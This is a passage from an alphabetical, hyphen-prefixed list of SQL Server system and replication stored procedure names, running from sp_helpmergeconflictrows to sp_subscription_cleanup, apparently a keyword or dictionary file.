-sp_helpmergeconflictrows -sp_helpmergedeleteconflictrows -sp_helpmergefilter -sp_helpmergelogfiles -sp_helpmergelogfileswithdata -sp_helpmergelogsettings -sp_helpmergepartition -sp_helpmergepublication -sp_helpmergepullsubscription -sp_helpmergesubscription -sp_helpntgroup -sp_help_peerconflictdetection -sp_helppeerrequests -sp_helppeerresponses -sp_helppublication -sp_help_publication_access -sp_helppublication_snapshot -sp_helppublicationsync -sp_helppullsubscription -sp_helpqreader_agent -sp_helpremotelogin -sp_helpreplfailovermode -sp_helpreplicationdb -sp_helpreplicationdboption -sp_helpreplicationoption -sp_helprole -sp_helprolemember -sp_helprotect -sp_helpserver -sp_helpsort -sp_help_spatial_geography_histogram -sp_help_spatial_geography_index -sp_help_spatial_geography_index_xml -sp_help_spatial_geometry_histogram -sp_help_spatial_geometry_index -sp_help_spatial_geometry_index_xml -sp_helpsrvrole -sp_helpsrvrolemember -sp_helpstats -sp_helpsubscriberinfo -sp_helpsubscription -sp_helpsubscriptionerrors -sp_helpsubscription_properties -sp_helptext -sp_helptracertokenhistory -sp_helptracertokens -sp_helptrigger -sp_helpuser -sp_helpxactsetjob -sp_http_generate_wsdl_complex -sp_http_generate_wsdl_defaultcomplexorsimple -sp_http_generate_wsdl_defaultsimpleorcomplex -sp_http_generate_wsdl_simple -spid -SPID -sp_identitycolumnforreplication -sp_IHadd_sync_command -sp_IHarticlecolumn -sp_IHget_loopback_detection -sp_IH_LR_GetCacheData -sp_IHScriptIdxFile -sp_IHScriptSchFile -sp_IHValidateRowFilter -sp_IHXactSetJob -sp_indexcolumns_managed -sp_indexes -sp_indexes_100_rowset -sp_indexes_100_rowset2 -sp_indexes_90_rowset -sp_indexes_90_rowset2 -sp_indexes_90_rowset_rmt -sp_indexes_managed -sp_indexes_rowset -sp_indexes_rowset2 -sp_indexes_rowset_rmt -sp_indexoption -spins -spins_per_collision -sp_internal_alter_nt_job_limits -sp_invalidate_textptr -sp_is_columnstore_column_dictionary_enabled -sp_is_makegeneration_needed -sp_ivindexhasnullcols -sp_kill_filestream_non_transacted_handles -sp_kill_oldest_transaction_on_secondary -sp_ldw_apply_file_updates_for_ext_table -sp_ldw_get_file_updates_for_ext_table -sp_ldw_insert_container_and_partition_for_ext_table -sp_ldw_internal_tables_clean_up -sp_ldw_normalize_ext_tab_name -sp_ldw_refresh_internal_table_on_distribution -sp_ldw_select_entries_from_internal_table -sp_ldw_update_stats_for_ext_table -sp_lightweightmergemetadataretentioncleanup -sp_linkedservers -sp_linkedservers_rowset -sp_linkedservers_rowset2 -sp_link_publication -sp_lock -sp_logshippinginstallmetadata -sp_lookupcustomresolver -sp_mapdown_bitmap -sp_markpendingschemachange -sp_marksubscriptionvalidation -sp_memory_leak_detection -sp_memory_optimized_cs_migration -sp_mergearticlecolumn -sp_mergecleanupmetadata -sp_mergedummyupdate -sp_mergemetadataretentioncleanup -sp_mergesubscription_cleanup -sp_mergesubscriptionsummary -sp_metadata_sync_connector_add -sp_metadata_sync_connector_drop -sp_metadata_sync_connectors_status -sp_migrate_user_to_contained -sp_monitor -sp_MSacquireHeadofQueueLock -sp_MSacquireserverresourcefordynamicsnapshot -sp_MSacquireSlotLock -sp_MSacquiresnapshotdeliverysessionlock -sp_MSactivate_auto_sub -sp_MSactivatelogbasedarticleobject -sp_MSactivateprocedureexecutionarticleobject -sp_MSadd_anonymous_agent -sp_MSaddanonymousreplica -sp_MSadd_article -sp_MSadd_compensating_cmd -sp_MSadd_distribution_agent -sp_MSadd_distribution_history -sp_MSadddynamicsnapshotjobatdistributor -sp_MSadd_dynamic_snapshot_location -sp_MSadd_filteringcolumn -sp_MSaddguidcolumn -sp_MSaddguidindex -sp_MSaddinitialarticle -sp_MSaddinitialpublication -sp_MSaddinitialschemaarticle -sp_MSaddinitialsubscription -sp_MSaddlightweightmergearticle -sp_MSadd_logreader_agent -sp_MSadd_logreader_history -sp_MSadd_log_shipping_error_detail -sp_MSadd_log_shipping_history_detail -sp_MSadd_merge_agent -sp_MSadd_merge_anonymous_agent -sp_MSaddmergedynamicsnapshotjob -sp_MSadd_merge_history -sp_MSadd_merge_history90 -sp_MSadd_mergereplcommand -sp_MSadd_mergesubentry_indistdb -sp_MSadd_merge_subscription -sp_MSaddmergetriggers -sp_MSaddmergetriggers_from_template -sp_MSaddmergetriggers_internal -sp_MSaddpeerlsn -sp_MSadd_publication -sp_MSadd_qreader_agent -sp_MSadd_qreader_history -sp_MSadd_repl_alert -sp_MSadd_replcmds_mcit -sp_MSadd_repl_command -sp_MSadd_repl_commands27hp -sp_MSadd_repl_error -sp_MSadd_replmergealert -sp_MSadd_snapshot_agent -sp_MSadd_snapshot_history -sp_MSadd_subscriber_info -sp_MSadd_subscriber_schedule -sp_MSadd_subscription -sp_MSadd_subscription_3rd -sp_MSaddsubscriptionarticles -sp_MSadd_tracer_history -sp_MSadd_tracer_token -sp_MSadjust_pub_identity -sp_MSagent_retry_stethoscope -sp_MSagent_stethoscope -sp_MSallocate_new_identity_range -sp_MSalreadyhavegeneration -sp_MSanonymous_status -sp_MSarticlecleanup -sp_MSbrowsesnapshotfolder -sp_MScache_agent_parameter -sp_MScdc_capture_job -sp_MScdc_cleanup_job -sp_MScdc_db_ddl_event -sp_MScdc_ddl_event -sp_MScdc_logddl -sp_MSchange_article -sp_MSchangearticleresolver -sp_MSchange_distribution_agent_properties -sp_MSchangedynamicsnapshotjobatdistributor -sp_MSchangedynsnaplocationatdistributor -sp_MSchange_logreader_agent_properties -sp_MSchange_merge_agent_properties -sp_MSchange_mergearticle -sp_MSchange_mergepublication -sp_MSchangeobjectowner -sp_MSchange_originatorid -sp_MSchange_priority -sp_MSchange_publication -sp_MSchange_retention -sp_MSchange_retention_period_unit -sp_MSchange_snapshot_agent_properties -sp_MSchange_subscription_dts_info -sp_MScheck_agent_instance -sp_MScheck_dropobject -sp_MScheckexistsgeneration -sp_MScheckexistsrecguid -sp_MScheckfailedprevioussync -sp_MScheckidentityrange -sp_MScheckIsPubOfSub -sp_MScheck_Jet_Subscriber -sp_MScheck_logicalrecord_metadatamatch -sp_MScheck_merge_subscription_count -sp_MScheck_pub_identity -sp_MScheck_pull_access -sp_MSchecksharedagentforpublication -sp_MScheck_snapshot_agent -sp_MSchecksnapshotstatus -sp_MScheck_subscription -sp_MScheck_subscription_expiry -sp_MScheck_subscription_partition -sp_MScheck_tran_retention -sp_MScleanup_agent_entry -sp_MScleanup_conflict -sp_MScleanupdynamicsnapshotfolder -sp_MScleanupdynsnapshotvws -sp_MSCleanupForPullReinit -sp_MScleanupmergepublisher -sp_MScleanupmergepublisher_internal -sp_MScleanup_publication_ADinfo -sp_MScleanup_subscription_distside_entry -sp_MSclear_dynamic_snapshot_location -sp_MSclearresetpartialsnapshotprogressbit -sp_MScomputelastsentgen -sp_MScomputemergearticlescreationorder -sp_MScomputemergeunresolvedrefs -sp_MSconflicttableexists -sp_MScreate_all_article_repl_views -sp_MScreate_article_repl_views -sp_MScreatedisabledmltrigger -sp_MScreate_dist_tables -sp_MScreatedummygeneration -sp_MScreateglobalreplica -sp_MScreatelightweightinsertproc -sp_MScreatelightweightmultipurposeproc -sp_MScreatelightweightprocstriggersconstraints -sp_MScreatelightweightupdateproc -sp_MScreate_logical_record_views -sp_MScreatemergedynamicsnapshot -sp_MScreateretry -sp_MScreate_sub_tables -sp_MScreate_tempgenhistorytable -sp_MSdbuseraccess -sp_MSdbuserpriv -sp_MSdefer_check -sp_MSdeletefoldercontents -sp_MSdeletemetadataactionrequest -sp_MSdeletepeerconflictrow -sp_MSdeleteretry -sp_MSdelete_tracer_history -sp_MSdeletetranconflictrow -sp_MSdelgenzero -sp_MSdelrow -sp_MSdelrowsbatch -sp_MSdelrowsbatch_downloadonly -sp_MSdelsubrows -sp_MSdelsubrowsbatch -sp_MSdependencies -sp_MSdetectinvalidpeerconfiguration -sp_MSdetectinvalidpeersubscription -sp_MSdetect_nonlogged_shutdown -sp_MSdist_activate_auto_sub -sp_MSdist_adjust_identity -sp_MSdistpublisher_cleanup -sp_MSdistribution_counters -sp_MSdistributoravailable -sp_MSdodatabasesnapshotinitiation -sp_MSdopartialdatabasesnapshotinitiation -sp_MSdrop_6x_publication -sp_MSdrop_6x_replication_agent -sp_MSdrop_anonymous_entry -sp_MSdrop_article -sp_MSdroparticleconstraints -sp_MSdroparticletombstones -sp_MSdropconstraints -sp_MSdrop_distribution_agent -sp_MSdrop_distribution_agentid_dbowner_proxy -sp_MSdrop_dynamic_snapshot_agent -sp_MSdropdynsnapshotvws -sp_MSdropfkreferencingarticle -sp_MSdrop_logreader_agent -sp_MSdrop_merge_agent -sp_MSdropmergearticle -sp_MSdropmergedynamicsnapshotjob -sp_MSdrop_merge_subscription -sp_MSdropobsoletearticle -sp_MSdrop_publication -sp_MSdrop_qreader_history -sp_MSdropretry -sp_MSdrop_snapshot_agent -sp_MSdrop_snapshot_dirs -sp_MSdrop_subscriber_info -sp_MSdrop_subscription -sp_MSdrop_subscription_3rd -sp_MSdrop_tempgenhistorytable -sp_MSdroptemptable -sp_MSdummyupdate -sp_MSdummyupdate90 -sp_MSdummyupdatelightweight -sp_MSdummyupdate_logicalrecord -sp_MSdynamicsnapshotjobexistsatdistributor -sp_MSenable_publication_for_het_sub -sp_MSensure_single_instance -sp_MSenumallpublications -sp_MSenumallsubscriptions -sp_MSenumarticleslightweight -sp_MSenumchanges -sp_MSenumchanges_belongtopartition -sp_MSenumchangesdirect -sp_MSenumchangeslightweight -sp_MSenumchanges_notbelongtopartition -sp_MSenumcolumns -sp_MSenumcolumnslightweight -sp_MSenumdeletes_forpartition -sp_MSenumdeleteslightweight -sp_MSenumdeletesmetadata -sp_MSenum_distribution -sp_MSenumdistributionagentproperties -sp_MSenum_distribution_s -sp_MSenum_distribution_sd -sp_MSenumerate_PAL -sp_MSenumgenerations -sp_MSenumgenerations90 -sp_MSenum_logicalrecord_changes -sp_MSenum_logreader -sp_MSenum_logreader_s -sp_MSenum_logreader_sd -sp_MSenum_merge -sp_MSenum_merge_agent_properties -sp_MSenum_merge_s -sp_MSenum_merge_sd -sp_MSenum_merge_subscriptions -sp_MSenum_merge_subscriptions_90_publication -sp_MSenum_merge_subscriptions_90_publisher -sp_MSenum_metadataaction_requests -sp_MSenumpartialchanges -sp_MSenumpartialchangesdirect -sp_MSenumpartialdeletes -sp_MSenumpubreferences -sp_MSenum_qreader -sp_MSenum_qreader_s -sp_MSenum_qreader_sd -sp_MSenumreplicas -sp_MSenumreplicas90 -sp_MSenum_replication_agents -sp_MSenum_replication_job -sp_MSenum_replqueues -sp_MSenum_replsqlqueues -sp_MSenumretries -sp_MSenumschemachange -sp_MSenum_snapshot -sp_MSenum_snapshot_s -sp_MSenum_snapshot_sd -sp_MSenum_subscriptions -sp_MSenumsubscriptions -sp_MSenumthirdpartypublicationvendornames -sp_MSestimatemergesnapshotworkload -sp_MSestimatesnapshotworkload -sp_MSevalsubscriberinfo -sp_MSevaluate_change_membership_for_all_articles_in_pubid -sp_MSevaluate_change_membership_for_pubid -sp_MSevaluate_change_membership_for_row -sp_MSexecwithlsnoutput -sp_MSfast_delete_trans -sp_MSfetchAdjustidentityrange -sp_MSfetchidentityrange -sp_MSfillupmissingcols -sp_MSfilterclause -sp_MSfix_6x_tasks -sp_MSfixlineageversions -sp_MSFixSubColumnBitmaps -sp_MSfixupbeforeimagetables -sp_MSflush_access_cache -sp_MSforce_drop_distribution_jobs -sp_MSforcereenumeration -sp_MSforeachdb -sp_MSforeachtable -sp_MSforeach_worker -sp_MSgenerateexpandproc -sp_MSget_agent_names -sp_MSgetagentoffloadinfo -sp_MSgetalertinfo -sp_MSgetalternaterecgens -sp_MSgetarticlereinitvalue -sp_MSget_attach_state -sp_MSgetchangecount -sp_MSgetconflictinsertproc -sp_MSgetconflicttablename -sp_MSGetCurrentPrincipal -sp_MSgetdatametadatabatch -sp_MSgetdbversion -sp_MSget_DDL_after_regular_snapshot -sp_MSgetdynamicsnapshotapplock -sp_MSget_dynamic_snapshot_location -sp_MSgetdynsnapvalidationtoken -sp_MSgetgenstatus4rows -sp_MSget_identity_range_info -sp_MSgetisvalidwindowsloginfromdistributor -sp_MSget_jobstate -sp_MSgetlastrecgen -sp_MSgetlastsentgen -sp_MSgetlastsentrecgens -sp_MSget_last_transaction -sp_MSgetlastupdatedtime -sp_MSget_latest_peerlsn -sp_MSgetlightweightmetadatabatch -sp_MSget_load_hint -sp_MSget_logicalrecord_lineage -sp_MSget_log_shipping_new_sessionid -sp_MSgetmakegenerationapplock -sp_MSgetmakegenerationapplock_90 -sp_MSgetmaxbcpgen -sp_MSgetmaxsnapshottimestamp -sp_MSget_max_used_identity -sp_MSgetmergeadminapplock -sp_MSgetmetadatabatch -sp_MSgetmetadatabatch90 -sp_MSgetmetadatabatch90new -sp_MSgetmetadata_changedlogicalrecordmembers -sp_MSget_min_seqno -sp_MSget_MSmerge_rowtrack_colinfo -sp_MSget_new_xact_seqno -sp_MSget_oledbinfo -sp_MSgetonerow -sp_MSgetonerowlightweight -sp_MSget_partitionid_eval_proc -sp_MSgetpeerconflictrow -sp_MSgetpeerlsns -sp_MSgetpeertopeercommands -sp_MSgetpeerwinnerrow -sp_MSgetpubinfo -sp_MSget_publication_from_taskname -sp_MSget_publisher_rpc -sp_MSget_repl_cmds_anonymous -sp_MSget_repl_commands -sp_MSget_repl_error -sp_MSgetreplicainfo -sp_MSgetreplicastate -sp_MSgetrowmetadata -sp_MSgetrowmetadatalightweight -sp_MSget_server_portinfo -sp_MSGetServerProperties -sp_MSget_session_statistics -sp_MSgetsetupbelong_cost -sp_MSget_shared_agent -sp_MSget_snapshot_history -sp_MSgetsubscriberinfo -sp_MSget_subscriber_partition_id -sp_MSget_subscription_dts_info -sp_MSget_subscription_guid -sp_MSgetsupportabilitysettings -sp_MSget_synctran_commands -sp_MSgettrancftsrcrow -sp_MSgettranconflictrow -sp_MSget_type_wrapper -sp_MSgetversion -sp_MSgrantconnectreplication -sp_MShaschangeslightweight -sp_MShasdbaccess -sp_MShelp_article -sp_MShelpcolumns -sp_MShelpconflictpublications -sp_MShelpcreatebeforetable -sp_MShelpdestowner -sp_MShelp_distdb -sp_MShelp_distribution_agentid -sp_MShelpdynamicsnapshotjobatdistributor -sp_MShelpfulltextindex -sp_MShelpfulltextscript -sp_MShelp_identity_property -sp_MShelpindex -sp_MShelplogreader_agent -sp_MShelp_logreader_agentid -sp_MShelp_merge_agentid -sp_MShelpmergearticles -sp_MShelpmergeconflictcounts -sp_MShelpmergedynamicsnapshotjob -sp_MShelpmergeidentity -sp_MShelpmergeschemaarticles -sp_MShelpobjectpublications -sp_MShelp_profile -sp_MShelp_profilecache -sp_MShelp_publication -sp_MShelp_repl_agent -sp_MShelp_replication_status -sp_MShelp_replication_table -sp_MShelpreplicationtriggers -sp_MShelp_snapshot_agent -sp_MShelpsnapshot_agent -sp_MShelp_snapshot_agentid -sp_MShelp_subscriber_info -sp_MShelp_subscription -sp_MShelp_subscription_status -sp_MShelpsummarypublication -sp_MShelptracertokenhistory -sp_MShelptracertokens -sp_MShelptranconflictcounts -sp_MShelptype -sp_MShelpvalidationdate -sp_MSIfExistsSubscription -sp_MSindexspace -sp_MSinitdynamicsubscriber -sp_MSinit_publication_access -sp_MSinit_subscription_agent -sp_MSinsertdeleteconflict -sp_MSinserterrorlineage -sp_MSinsertgenerationschemachanges -sp_MSinsertgenhistory -sp_MSinsert_identity -sp_MSinsertlightweightschemachange -sp_MSinsertschemachange -sp_MSinvalidate_snapshot -sp_MSIsContainedAGSession -sp_MSisnonpkukupdateinconflict -sp_MSispeertopeeragent -sp_MSispkupdateinconflict -sp_MSispublicationqueued -sp_MSisreplmergeagent -sp_MSissnapshotitemapplied -sp_MSkilldb -sp_MSlock_auto_sub -sp_MSlock_distribution_agent -sp_MSlocktable -sp_MSloginmappings -sp_MSmakearticleprocs -sp_MSmakebatchinsertproc -sp_MSmakebatchupdateproc -sp_MSmakeconflictinsertproc -sp_MSmakectsview -sp_MSmakedeleteproc -sp_MSmakedynsnapshotvws -sp_MSmakeexpandproc -sp_MSmakegeneration -sp_MSmakeinsertproc -sp_MSmakemetadataselectproc -sp_MSmakeselectproc -sp_MSmakesystableviews -sp_MSmakeupdateproc -sp_MSmap_partitionid_to_generations -sp_MSmarkreinit -sp_MS_marksystemobject -sp_MSmatchkey -sp_MSmerge_alterschemaonly -sp_MSmerge_altertrigger -sp_MSmerge_alterview -sp_MSmerge_ddldispatcher -sp_MSmerge_getgencount -sp_MSmerge_getgencur_public -sp_MSmerge_is_snapshot_required -sp_MSmerge_log_identity_range_allocations -sp_MSmerge_parsegenlist -sp_MSmergesubscribedb -sp_MSmergeupdatelastsyncinfo -sp_MSmerge_upgrade_subscriber -sp_MSneedmergemetadataretentioncleanup -sp_MSNonSQLDDL -sp_MSNonSQLDDLForSchemaDDL -sp_MSobjectprivs -sp_MSpeerapplyresponse -sp_MSpeerapplytopologyinfo -sp_MSpeerconflictdetection_statuscollection_applyresponse -sp_MSpeerconflictdetection_statuscollection_sendresponse -sp_MSpeerconflictdetection_topology_applyresponse -sp_MSpeerdbinfo -sp_MSpeersendresponse -sp_MSpeersendtopologyinfo -sp_MSpeertopeerfwdingexec -sp_MSpostapplyscript_forsubscriberprocs -sp_MSpost_auto_proc -sp_MSprepare_mergearticle -sp_MSprep_exclusive -sp_MSprofile_in_use -sp_MSproxiedmetadata -sp_MSproxiedmetadatabatch -sp_MSproxiedmetadatalightweight -sp_MSpub_adjust_identity -sp_MSpublication_access -sp_MSpublicationcleanup -sp_MSpublicationview -sp_MSquerysubtype -sp_MSquery_syncstates -sp_MSrecordsnapshotdeliveryprogress -sp_MSreenable_check -sp_MSrefresh_anonymous -sp_MSrefresh_publisher_idrange -sp_MSregenerate_mergetriggersprocs -sp_MSregisterdynsnapseqno -sp_MSregistermergesnappubid -sp_MSregistersubscription -sp_MSreinit_failed_subscriptions -sp_MSreinit_hub -sp_MSreinitoverlappingmergepublications -sp_MSreinit_subscription -sp_MSreleasedynamicsnapshotapplock -sp_MSreleasemakegenerationapplock -sp_MSreleasemergeadminapplock -sp_MSreleaseSlotLock -sp_MSreleasesnapshotdeliverysessionlock -sp_MSremove_mergereplcommand -sp_MSremoveoffloadparameter -sp_MSreplagentjobexists -sp_MSrepl_agentstatussummary -sp_MSrepl_backup_complete -sp_MSrepl_backup_start -sp_MSreplcheckoffloadserver -sp_MSreplcheck_permission -sp_MSrepl_check_publisher -sp_MSreplcheck_pull -sp_MSreplcheck_subscribe -sp_MSreplcheck_subscribe_withddladmin -sp_MSreplcopyscriptfile -sp_MSrepl_createdatatypemappings -sp_MSrepl_distributionagentstatussummary -sp_MSrepl_dropdatatypemappings -sp_MSrepl_enumarticlecolumninfo -sp_MSrepl_enumpublications -sp_MSrepl_enumpublishertables -sp_MSrepl_enumsubscriptions -sp_MSrepl_enumtablecolumninfo -sp_MSrepl_FixPALRole -sp_MSrepl_getdistributorinfo -sp_MSrepl_getpkfkrelation -sp_MSrepl_gettype_mappings -sp_MSrepl_helparticlermo -sp_MS_replication_installed -sp_MSrepl_init_backup_lsns -sp_MSrepl_isdbowner -sp_MSrepl_IsLastPubInSharedSubscription -sp_MSrepl_IsUserInAnyPAL -sp_MSrepl_linkedservers_rowset -sp_MSrepl_mergeagentstatussummary -sp_MSrepl_monitor_job_at_failover -sp_MSrepl_PAL_rolecheck -sp_MSrepl_raiserror -sp_MSreplraiserror -sp_MSrepl_reinit_jobsync_table -sp_MSreplremoveuncdir -sp_MSrepl_schema -sp_MSrepl_setNFR -sp_MSrepl_snapshot_helparticlecolumns -sp_MSrepl_snapshot_helppublication -sp_MSrepl_startup -sp_MSrepl_startup_internal -sp_MSrepl_subscription_rowset -sp_MSrepl_testadminconnection -sp_MSrepl_testconnection -sp_MSreplupdateschema -sp_MSrequestreenumeration -sp_MSrequestreenumeration_lightweight -sp_MSreset_attach_state -sp_MSreset_queued_reinit -sp_MSresetsnapshotdeliveryprogress -sp_MSreset_subscription -sp_MSreset_subscription_seqno -sp_MSreset_synctran_bit -sp_MSreset_transaction -sp_MSrestoresavedforeignkeys -sp_MSretrieve_publication_attributes -sp_MSscript_article_view -sp_MSscriptcustomdelproc -sp_MSscriptcustominsproc -sp_MSscriptcustomupdproc -sp_MSscriptdatabase -sp_MSscriptdb_worker -sp_MSscript_dri -sp_MSscriptforeignkeyrestore -sp_MSscript_pub_upd_trig -sp_MSscriptsubscriberprocs -sp_MSscript_sync_del_proc -sp_MSscript_sync_del_trig -sp_MSscript_sync_ins_proc -sp_MSscript_sync_ins_trig -sp_MSscript_sync_upd_proc -sp_MSscript_sync_upd_trig -sp_MSscriptviewproc -sp_MSsendtosqlqueue -sp_MSsetaccesslist -sp_MSsetalertinfo -sp_MSsetartprocs -sp_MSsetbit -sp_MSsetconflictscript -sp_MSsetconflicttable -sp_MSsetcontext_bypasswholeddleventbit -sp_MSsetcontext_replagent -sp_MSset_dynamic_filter_options -sp_MSsetgentozero -sp_MSsetlastrecgen -sp_MSsetlastsentgen -sp_MSset_logicalrecord_metadata -sp_MSset_new_identity_range -sp_MSset_oledb_prop -sp_MSsetreplicainfo -sp_MSsetreplicaschemaversion -sp_MSsetreplicastatus -sp_MSset_repl_serveroptions -sp_MSsetrowmetadata -sp_MSSetServerProperties -sp_MSset_snapshot_xact_seqno -sp_MSset_sub_guid -sp_MSsetsubscriberinfo -sp_MSset_subscription_properties -sp_MSsettopology -sp_MSsetupbelongs -sp_MSsetup_identity_range -sp_MSsetupnosyncsubwithlsnatdist -sp_MSsetupnosyncsubwithlsnatdist_cleanup -sp_MSsetupnosyncsubwithlsnatdist_helper -sp_MSsetup_partition_groups -sp_MSsetup_use_partition_groups -sp_MSSharedFixedDisk -sp_MSSQLDMO70_version -sp_MSSQLDMO80_version -sp_MSSQLDMO90_version -sp_MSSQLOLE65_version -sp_MSSQLOLE_version -sp_MSstartdistribution_agent -sp_MSstartmerge_agent -sp_MSstartsnapshot_agent -sp_MSstopdistribution_agent -sp_MSstopmerge_agent -sp_MSstopsnapshot_agent -sp_MSsub_check_identity -sp_MSsubscription_status -sp_MSsubscriptionvalidated -sp_MSsub_set_identity -sp_MStablechecks -sp_MStablekeys -sp_MStablerefs -sp_MStablespace -sp_MStestbit -sp_MStran_ddlrepl -sp_MStran_is_snapshot_required -sp_MStrypurgingoldsnapshotdeliveryprogress -sp_MSuniquename -sp_MSunmarkifneeded -sp_MSunmarkreplinfo -sp_MSunmarkschemaobject -sp_MSunregistersubscription -sp_MSupdate_agenttype_default -sp_MSupdatecachedpeerlsn -sp_MSupdategenerations_afterbcp -sp_MSupdategenhistory -sp_MSupdateinitiallightweightsubscription -sp_MSupdatelastsyncinfo -sp_MSupdatepeerlsn -sp_MSupdaterecgen -sp_MSupdatereplicastate -sp_MSupdate_singlelogicalrecordmetadata -sp_MSupdate_subscriber_info -sp_MSupdate_subscriber_schedule -sp_MSupdate_subscriber_tracer_history -sp_MSupdate_subscription -sp_MSupdatesysmergearticles -sp_MSupdate_tracer_history -sp_MSuplineageversion -sp_MSuploadsupportabilitydata -sp_MSuselightweightreplication -sp_MSvalidatearticle -sp_MSvalidate_dest_recgen -sp_MSvalidate_subscription -sp_MSvalidate_wellpartitioned_articles -sp_MSwritemergeperfcounter -sp_new_parallel_nested_tran_id -sp_OACreate -sp_OADestroy -sp_OAGetErrorInfo -sp_OAGetProperty -sp_OAMethod -sp_OASetProperty -sp_OAStop -sp_objectfilegroup -sp_oledb_database -sp_oledb_defdb -sp_oledb_deflang -sp_oledbinfo -sp_oledb_language -sp_oledb_ro_usrname -sp_ORbitmap -sp_password -sp_peerconflictdetection_tableaug -sp_persistent_version_cleanup -sp_pkeys -sp_polybase_authorize -sp_polybase_join_group -sp_polybase_leave_group -sp_polybase_show_objects -sp_PostAgentInfo -sp_posttracertoken -sp_prepare -sp_prepexec -sp_prepexecrpc -sp_primarykeys -sp_primary_keys_rowset -sp_primary_keys_rowset2 -sp_primary_keys_rowset_rmt -sp_procedure_params_100_managed -sp_procedure_params_100_rowset -sp_procedure_params_100_rowset2 -sp_procedure_params_90_rowset -sp_procedure_params_90_rowset2 -sp_procedure_params_managed -sp_procedure_params_rowset -sp_procedure_params_rowset2 -sp_procedures_rowset -sp_procedures_rowset2 -sp_processlogshippingmonitorhistory -sp_processlogshippingmonitorprimary -sp_processlogshippingmonitorsecondary -sp_processlogshippingretentioncleanup -sp_process_memory_leak_record -sp_procoption -sp_prop_oledb_provider -sp_provider_types_100_rowset -sp_provider_types_90_rowset -sp_provider_types_rowset -sp_publicationsummary -sp_publication_validation -sp_publish_database_to_syms -sp_publishdb -sp_publisherproperty -sp_query_store_clear_hints -sp_query_store_consistency_check -sp_query_store_flush_db -sp_query_store_force_plan -sp_query_store_remove_plan -sp_query_store_remove_query -sp_query_store_reset_exec_stats -sp_query_store_set_hints -sp_query_store_unforce_plan -sp_rbpex_exec_cmd -sp_rda_deauthorize_db -sp_rda_get_rpo_duration -sp_rda_reauthorize_db -sp_rda_reconcile_batch -sp_rda_reconcile_columns -sp_rda_reconcile_indexes -sp_rda_set_query_mode -sp_rda_set_rpo_duration -sp_rda_test_connection -sp_readerrorlog -sp_recompile -sp_redirect_publisher -sp_refresh_heterogeneous_publisher -sp_refresh_log_shipping_monitor -sp_refresh_parameter_encryption -sp_refresh_single_snapshot_view -sp_refresh_snapshot_views -sp_refreshsqlmodule -sp_refreshsubscriptions -sp_refreshview -sp_registercustomresolver -sp_register_custom_scripting -sp_reinitmergepullsubscription -sp_reinitmergesubscription -sp_reinitpullsubscription -sp_reinitsubscription -sp_release_all_fido_locks -sp_releaseapplock -sp_release_fido_lock -sp_releaseschemalock -sp_remote_data_archive_event -sp_remoteoption -sp_remove_columnstore_column_dictionary -sp_removedbreplication -sp_removedistpublisherdbreplication -sp_removesrvreplication -sp_rename -sp_renamedb -sp_repladdcolumn -sp_replcleanupccsprocs -sp_replcmds -sp_replcounters -sp_replddlparser -sp_repldeletequeuedtran -sp_repldone -sp_repldropcolumn -sp_replflush -sp_repl_generateevent -sp_repl_generate_subscriber_event -sp_repl_generate_sync_status_event -sp_replgetparsedddlcmd -sp_replhelp -sp_replica -sp_replication_agent_checkup -sp_replicationdboption -sp_replincrementlsn -sp_replmonitorchangepublicationthreshold -sp_replmonitorgetoriginalpublisher -sp_replmonitorhelpmergesession -sp_replmonitorhelpmergesessiondetail -sp_replmonitorhelpmergesubscriptionmoreinfo -sp_replmonitorhelppublication -sp_replmonitorhelppublicationthresholds -sp_replmonitorhelppublisher -sp_replmonitorhelpsubscription -sp_replmonitorrefreshjob -sp_replmonitorsubscriptionpendingcmds -sp_replpostsyncstatus -sp_replqueuemonitor -sp_replrestart -sp_replrethrow -sp_replsendtoqueue -sp_replsetoriginator -sp_replsetsyncstatus -sp_replshowcmds -sp_replsqlqgetrows -sp_replsync -sp_repltrans -sp_replwritetovarbin -sp_requestpeerresponse -sp_requestpeertopologyinfo -sp_reserve_http_namespace -sp_reset_connection -sp_reset_session_context -sp_resetsnapshotdeliveryprogress -sp_resetstatus -sp_resign_database -sp_resolve_logins -sp_restoredbreplication -sp_restore_filelistonly -sp_restoremergeidentityrange -sp_resyncexecute -sp_resyncexecutesql -sp_resyncmergesubscription -sp_resyncprepare -sp_resyncuniquetable -sp_revokedbaccess -sp_revokelogin -sp_revoke_publication_access -sp_rollback_parallel_nested_tran -sp_schemafilter -sp_schemata_rowset -sp_scriptdelproc -sp_scriptdynamicupdproc -sp_scriptinsproc -sp_scriptmappedupdproc -sp_scriptpublicationcustomprocs -sp_script_reconciliation_delproc -sp_script_reconciliation_insproc -sp_script_reconciliation_sinsproc -sp_script_reconciliation_vdelproc -sp_script_reconciliation_xdelproc -sp_scriptsinsproc -sp_scriptsubconflicttable -sp_scriptsupdproc -sp_script_synctran_commands -sp_scriptupdproc -sp_scriptvdelproc -sp_scriptvupdproc -sp_scriptxdelproc -sp_scriptxupdproc -sp_sequence_get_range -sp_server_diagnostics -sp_server_info -sp_serveroption -sp_setapprole -sp_SetAutoSAPasswordAndDisable -sp_set_data_processed_limit -sp_setdefaultdatatypemapping -sp_set_distributed_query_context -sp_setnetname -sp_SetOBDCertificate -sp_setOraclepackageversion -sp_setreplfailovermode -sp_set_session_context -sp_set_session_resource_group -sp_setsubscriptionxactseqno -sp_settriggerorder -sp_setuserbylogin -sp_showcolv -sp_showinitialmemo_xml -sp_showlineage -sp_showmemo_xml -sp_show_openrowset_statistics -sp_showpendingchanges -sp_showrowreplicainfo -sp_sm_detach -sp_spaceused -sp_spaceused_remote_data_archive -sp_sparse_columns_100_rowset -sp_special_columns -sp_special_columns_100 -sp_special_columns_90 -sp_sproc_columns -sp_sproc_columns_100 -sp_sproc_columns_90 -sp_sqlagent_add_job -sp_sqlagent_add_jobstep -sp_sqlagent_delete_job -sp_sqlagent_help_jobstep -sp_sqlagent_log_job_history -sp_sqlagent_start_job -sp_sqlagent_stop_job -sp_sqlagent_verify_database_context -sp_sqlagent_write_jobstep_log -sp_sqlexec -sp_sqljdbc_xa_install -sp_sqljdbc_xa_uninstall -sp_srvrolepermission -sp_start_fixed_vlf -sp_startmergepullsubscription_agent -sp_startmergepushsubscription_agent -sp_startpublication_snapshot -sp_startpullsubscription_agent -sp_startpushsubscription_agent -sp_start_streaming_job -sp_start_user_instance -sp_statistics -sp_statistics_100 -sp_statistics_rowset -sp_statistics_rowset2 -sp_stopmergepullsubscription_agent -sp_stopmergepushsubscription_agent -sp_stoppublication_snapshot -sp_stoppullsubscription_agent -sp_stoppushsubscription_agent -sp_stop_streaming_job -sp_stored_procedures -sp_subscribe -sp_subscription_cleanup 